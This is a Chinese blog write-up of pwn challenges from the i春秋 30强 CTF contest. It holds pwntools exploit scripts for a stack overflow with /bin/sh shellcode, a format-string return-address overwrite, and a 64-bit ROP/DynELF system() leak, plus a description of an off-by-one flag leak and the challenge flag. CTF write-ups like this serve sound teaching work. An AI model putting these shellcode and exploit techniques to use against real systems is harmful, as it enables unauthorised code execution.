i春秋30强挑战赛pwn解题过程

80pts:

栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell

from pwn import *

#p=process('./tc1')
p=remote('106.75.9.11',20000)
nop='\x90'*19

buf='\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80'

payload=p32(0x804a0a0+4)+nop+buf

p.recvuntil('4. Divide\n')
#gdb.attach(p)
p.sendline('29')
p.recvuntil('[123 110]\n')
p.sendline(payload)
p.interactive()

100pts:

反编译看出漏洞为格式化字符串,nx:disabled,思路就是在栈上布置shellcode,但是限定输入长度16bytes,所以得先修改read size。分三步利用:第一次泄漏栈地址,第二次修改参数(大于511即可),第三次修改ret地址,注意栈地址偏大,一次写入不行,思考很久,分两次写入,第一次通过%$hn先写两字节,第二次通样在+2偏移处写两字节就能成功写栈上shellcode地址到printf的ret处,改变执行流程getshell。(这题才100points,不应该啊:(     )

int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed int v3; // eax@2
  signed int v6; // [sp+10h] [bp-210h]@1
  int v7; // [sp+1Ch] [bp-204h]@4
  int v8; // [sp+21Ch] [bp-4h]@1

  v8 = *MK_FP(__GS__, 20);
  v6 = 16;
  setvbuf(stdout, 0, 2, 0);
  ssignal(14, tooslow);
  alarm(20);
  while ( 1 )
  {
    v3 = 511;
    if ( v6 <= 511 )
      v3 = v6;
    v6 = v3;
    printf("Reading %d bytes\n", v3);
    read_until(&v7, v6, 10);
    printf((const char *)&v7);//格式化漏洞
    putchar(10);
    alarm(20);
  }
}
.text:0804F5A0                 sub     esp, 1Ch        ; Alternative name is '_IO_printf'
.text:0804F5A3                 lea     eax, [esp+1Ch+arg_4]
.text:0804F5A7                 mov     [esp+1Ch+var_14], eax
.text:0804F5AB                 mov     eax, [esp+1Ch+arg_0]
.text:0804F5AF                 mov     [esp+1Ch+var_18], eax
.text:0804F5B3                 mov     eax, stdout
.text:0804F5B8                 mov     [esp+1Ch+var_1C], eax
.text:0804F5BB                 call    vfprintf
.text:0804F5C0                 add     esp, 1Ch
.text:0804F5C3                 retn              ;需要控制printf函数的ret
.text:0804F5C3 printf          endp

 

#!/usr/bin/env python
from pwn import *
import binascii

#p = process('./echo-200') 
p = remote("106.75.9.11", '20001')

#........leak stack........
payload1='%x%x%x%x%x'
print p.recvuntil('bytes\n')
p.sendline(payload1)
print p.recvuntil('10a010')
adr=p.recvuntil('\n').split('\n')[0]

#........caculate address........
v=int(adr,16)
print hex(v)
addr=p32(v-0xc)
ebp=int(adr,16)+0x20c
k=v-0x20
q=v+0x20
c1=(q>>16) & 0xffff
c2=q & 0xffff

#........change the buf size........
p.recvuntil('bytes\n')
payload2=addr+'%510x'+'%7$hn'
p.sendline(payload2)

#........change ret address to excute shellcode........
buf =  ""
buf += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x89\xe0\xdd\xc7\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x70\x6a\x74\x4b\x62"
buf += "\x78\x5a\x39\x72\x72\x62\x46\x35\x38\x46\x4d\x42\x43"
buf += "\x4b\x39\x69\x77\x43\x58\x56\x4f\x54\x33\x45\x38\x37"
buf += "\x70\x63\x58\x54\x6f\x45\x32\x62\x49\x30\x6e\x4c\x49"
buf += "\x6b\x53\x71\x42\x5a\x48\x73\x38\x75\x50\x47\x70\x43"
buf += "\x30\x74\x6f\x65\x32\x50\x69\x50\x6e\x66\x4f\x54\x33"
buf += "\x32\x48\x43\x30\x42\x77\x56\x33\x6c\x49\x38\x61\x78"
buf += "\x4d\x6f\x70\x41\x41"
#gdb.attach(p)
payload3=p32(k)+p32(k+2)+'%%%dx'%(c2-4)+'%7$hn'+'%%%dx'%(c1-c2-4)+'%8$hn'+buf
p.recvuntil('bytes\n')
print "payload3:"+payload3

p.sendline(payload3)
p.interactive() 

200pts:

64位程序的rop、dynelf的利用,和32位有区别,注意寄存器(rdi,rsi,rdx)传参,leak的大小需要精准才能成功getshell(原理参考:http://www.purpleroc.com/md/2016-02-25@Thinking-About-Level2.html),泄漏system地址,传参getshell:

 

from pwn import *
e = ELF('./qwb3')
p=process('./qwb3')
#p=remote('106.75.8.230',19286)
poprdi = 0x400633
poprsi = 0x400631 # pop rsi; pop r15; ret = 0x400631
plt_write = e.symbols['write']
plt_read = e.symbols['read']
main = 0x40059d
junk = 'A' * 8
data = 0x601048

def leak_write(addr):
    global p
    p.recvuntil('pwn \n')
    payload = 'A' * 72 + p64(poprdi) + p64(1) + p64(poprsi) + p64(addr) + junk +p64(plt_write) + p64(main) 
    p.send(payload.ljust(0x190, 'A'))
    ret = p.recv(40) 
    return ret

d = DynELF(leak_write,elf=ELF('./qwb3')) 
system = d.lookup('system','libc') 
print system
print p.recvuntil('pwn \n')

payload2 = 'A' * 72 + p64(poprdi) + p64(0) + p64(poprsi) + p64(data) + junk + p64(plt_read) + p64(poprdi) + p64(data) + p64(system)

print "\n###sending payload2 ...###"
p.send(payload2)
#sleep(1)
#gdb.attach(p) 
p.send('/bin/sh\0')
p.interactive()

300pts:

一开始无从下手,仔细想想,既然题目是leak,所以利用方式还是围绕输入来吧,限定了输入大小40,各种试溢出,试格式化字符串,最后输入name为'a'*40,flag为任一字符时可泄漏第一字节,第二次name不变,flag为第一次泄漏的字符加任一字符,泄漏第二个字符,以此类推得到flag,可以看出是off-by-one。

FLAG{wh4t3v3r_1s_0k}

 

posted @ 2016-07-01 20:41  JoeZ  阅读(1017)  评论(0编辑  收藏  举报